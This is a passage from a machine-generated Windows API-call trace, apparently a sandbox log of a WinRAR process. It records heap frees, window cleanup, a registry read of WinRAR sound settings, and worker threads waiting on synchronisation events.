out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddfd8a0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2bb0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a677090 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a674ef0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a675fc0 | out: hHeap=0x1ec0a590000) returned 1 [0076.850] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0db27040 | out: hHeap=0x1ec0a590000) returned 1 [0076.853] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a664ee0 | out: hHeap=0x1ec0a590000) returned 1 [0076.853] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6602d0 | out: hHeap=0x1ec0a590000) returned 1 [0076.853] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a663e10 | out: hHeap=0x1ec0a590000) returned 1 [0076.854] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0da15040 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658ee0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658ca0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658850 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63cb40 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64b9f0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658a30 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658a00 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658940 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64baf0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63ca40 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64b8b0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64bbd0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658f10 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63cbc0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6587c0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658df0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658e50 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64bc10 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658a60 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63ca80 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658c10 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658cd0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658880 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658b80 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c940 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658820 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c500 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6588b0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658b50 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63ce40 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63cc80 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64b8d0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63bf40 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64b950 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a658d00 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c300 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64b990 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c180 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c7c0 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c780 | out: hHeap=0x1ec0a590000) returned 1 [0076.857] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c340 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657370 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649da0 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef790 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64b970 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c380 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefc10 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a662300 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a65be70 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a65cf40 | out: hHeap=0x1ec0a590000) returned 1 [0076.858] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0d905040 | out: hHeap=0x1ec0a590000) returned 1 [0076.862] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6613a0 | out: hHeap=0x1ec0a590000) returned 1 [0076.862] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0ddff630 | out: hHeap=0x1ec0a590000) returned 1 [0076.862] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfbbfb0 | out: hHeap=0x1ec0a590000) returned 1 [0076.863] SHChangeNotify (wEventId=4096, uFlags=0x3005, dwItem1=0xe414f9220, dwItem2=0x0) [0076.873] DestroyWindow (hWnd=0x10284) returned 1 [0076.882] DragAcceptFiles (hWnd=0x1025a, fAccept=1) [0076.882] NtdllDefWindowProc_W () returned 0x0 [0076.882] NtdllDefWindowProc_W () returned 0x0 [0076.883] NtdllDefWindowProc_W () returned 0x1 [0076.883] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414f97b8 | out: ppv=0xe414f97b8*=0x1ec0dde2f40) returned 0x0 [0076.883] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0dde2f40, hwnd=0x10284, tbpFlags=0) returned 0x0 [0076.883] TaskbarList:IUnknown:Release (This=0x1ec0dde2f40) returned 0x0 [0076.883] GetPropW (hWnd=0x10284, lpString="Done") returned 0x0 [0076.883] DeleteObject (ho=0x53007a9) returned 1 [0076.884] DeleteObject (ho=0x3007aa) returned 1 [0076.884] DeleteObject (ho=0x3007ab) returned 1 [0076.884] DeleteObject (ho=0x3007ac) returned 1 [0076.884] DeleteObject (ho=0x3007ad) returned 1 [0076.884] DeleteObject (ho=0x3007ae) returned 1 [0076.884] DeleteObject (ho=0x3007af) returned 1 [0076.884] DeleteObject (ho=0x3007b0) returned 1 [0076.884] DeleteObject (ho=0x1007b1) returned 1 [0076.884] DeleteObject (ho=0x1007b2) returned 1 [0076.884] DeleteObject (ho=0x1007b3) returned 1 [0076.884] QueryPerformanceCounter (in: lpPerformanceCount=0xe414f97a0 | out: lpPerformanceCount=0xe414f97a0*=16821245297) returned 1 [0076.884] GetLastError () returned 0x2 [0076.884] SetLastError (dwErrCode=0x2) [0076.884] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f92f0 | out: phkResult=0xe414f92f0*=0x368) returned 0x0 [0076.884] RegQueryValueExW (in: hKey=0x368, lpValueName="Sound", lpReserved=0x0, lpType=0xe414f9754, lpData=0xe414f9750, lpcbData=0xe414f9788*=0x4 | out: lpType=0xe414f9754*=0x0, lpData=0xe414f9750*=0x1, lpcbData=0xe414f9788*=0x4) returned 0x2 [0076.884] RegCloseKey (hKey=0x368) returned 0x0 [0076.884] QueryPerformanceCounter (in: lpPerformanceCount=0xe414f9770 | out: lpPerformanceCount=0xe414f9770*=16821272282) returned 1 [0076.884] ReleaseMutex (hMutex=0x218) returned 1 [0076.884] IsWindowVisible (hWnd=0x1025a) returned 0 [0076.884] DestroyWindow (hWnd=0x102b2) returned 0 [0076.884] DestroyWindow (hWnd=0x102b4) returned 0 [0076.903] SetFocus (hWnd=0x50238) returned 0x2027a [0076.908] GetMessageW (in: lpMsg=0xe414fc960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414fc960) returned 1 [0077.394] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414fc960) returned 0 [0077.394] TranslateMessage (lpMsg=0xe414fc960) returned 0 [0077.394] DispatchMessageW (lpMsg=0xe414fc960) returned 0x0 [0077.394] GetMessageW (in: lpMsg=0xe414fc960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414fc960) returned 1 [0077.564] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414fc960) returned 0 [0077.564] TranslateMessage (lpMsg=0xe414fc960) returned 0 [0077.564] DispatchMessageW (lpMsg=0xe414fc960) returned 0x7f5a [0077.565] GetMessageW (in: lpMsg=0xe414fc960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414fc960) returned 1 [0078.558] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414fc960) returned 0 [0078.558] TranslateMessage (lpMsg=0xe414fc960) returned 0 [0078.558] DispatchMessageW (lpMsg=0xe414fc960) returned 0x7f57 [0078.558] GetMessageW (in: lpMsg=0xe414fc960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414fc960) returned 1 [0079.653] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414fc960) returned 0 [0079.653] TranslateMessage (lpMsg=0xe414fc960) returned 0 [0079.653] DispatchMessageW (lpMsg=0xe414fc960) returned 0x1 [0079.653] GetMessageW (lpMsg=0xe414fc960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 46 os_tid = 0xe7c Thread: id = 51 os_tid = 0xd08 Thread: id = 52 os_tid = 0xfac Thread: id = 54 os_tid = 0xf24 Thread: id = 62 os_tid = 0x3fc Thread: id = 127 os_tid = 0x10c0 [0066.419] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.420] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.421] SetEvent (hEvent=0x344) returned 1 [0066.421] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.429] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.430] SetEvent (hEvent=0x344) returned 1 [0066.430] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.433] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.436] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.439] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.442] SetEvent (hEvent=0x344) returned 1 [0066.473] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.618] SetEvent (hEvent=0x344) returned 1 [0066.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.016] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.177] SetEvent (hEvent=0x344) returned 1 [0067.177] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.313] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.431] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.577] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.156] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.337] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.464] SetEvent (hEvent=0x344) returned 1 [0068.464] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.225] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.356] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.999] SetEvent (hEvent=0x344) returned 1 [0071.000] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 128 os_tid = 0x10c4 [0066.473] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.016] SetEvent (hEvent=0x344) returned 1 [0067.016] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.176] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.314] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.431] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.578] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.155] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.337] SetEvent (hEvent=0x344) returned 1 [0068.337] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.463] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.226] SetEvent (hEvent=0x344) returned 1 [0069.226] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.373] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.999] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 129 os_tid = 0x10c8 [0066.474] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] SetEvent (hEvent=0x344) returned 1 [0066.620] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.025] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.180] SetEvent (hEvent=0x344) returned 1 [0067.180] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.331] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.452] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.012] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.196] SetEvent (hEvent=0x344) returned 1 [0068.196] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.357] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.023] SetEvent (hEvent=0x344) returned 1 [0069.023] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.233] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.481] SetEvent (hEvent=0x344) returned 1 [0070.481] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0071.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 130 os_tid = 0x10cc [0066.474] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.025] SetEvent (hEvent=0x344) returned 1 [0067.025] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.179] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.331] SetEvent (hEvent=0x344) returned 1 [0067.331] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.451] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.012] SetEvent (hEvent=0x344) returned 1 [0068.012] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.195] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.357] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.021] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.234] SetEvent (hEvent=0x344) returned 1 [0069.234] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.474] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0071.016] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 131 os_tid = 0x10d0 [0066.474] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.174] SetEvent (hEvent=0x344) returned 1 [0067.174] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.314] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.446] SetEvent (hEvent=0x344) returned 1 [0067.446] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.674] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.180] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.355] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.020] SetEvent (hEvent=0x344) returned 1 [0069.020] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.227] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.391] SetEvent (hEvent=0x344) returned 1 [0070.391] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.999] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 132 os_tid = 0x10d4 [0066.474] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.619] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.174] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.314] SetEvent (hEvent=0x344) returned 1 [0067.314] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.445] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.675] SetEvent (hEvent=0x344) returned 1 [0067.675] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.179] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.357] SetEvent (hEvent=0x344) returned 1 [0068.357] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.019] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.228] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.288] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.997] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 133 os_tid = 0x10d8 [0066.475] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.628] SetEvent (hEvent=0x344) returned 1 [0066.628] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.030] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.195] SetEvent (hEvent=0x344) returned 1 [0067.195] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.330] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.453] SetEvent (hEvent=0x344) returned 1 [0067.453] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.013] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.198] SetEvent (hEvent=0x344) returned 1 [0068.198] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.435] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.049] SetEvent (hEvent=0x344) returned 1 [0069.049] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.235] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.468] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0071.016] SetEvent (hEvent=0x344) returned 1 [0071.016] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 134 os_tid = 0x10dc [0066.475] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.628] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.030] SetEvent (hEvent=0x344) returned 1 [0067.030] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.194] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.331] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.452] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.015] SetEvent (hEvent=0x344) returned 1 [0068.015] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.198] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.437] SetEvent (hEvent=0x344) returned 1 [0068.437] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.048] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.236] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.462] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0071.012] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 135 os_tid = 0x10e0 [0066.475] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.630] SetEvent (hEvent=0x344) returned 1 [0066.630] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.026] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.179] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.329] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.450] SetEvent (hEvent=0x344) returned 1 [0067.450] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.674] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.181] SetEvent (hEvent=0x344) returned 1 [0068.181] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.358] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.025] SetEvent (hEvent=0x344) returned 1 [0069.025] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.237] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.534] SetEvent (hEvent=0x344) returned 1 [0070.534] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 136 os_tid = 0x10e4 [0066.475] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.629] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.026] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.178] 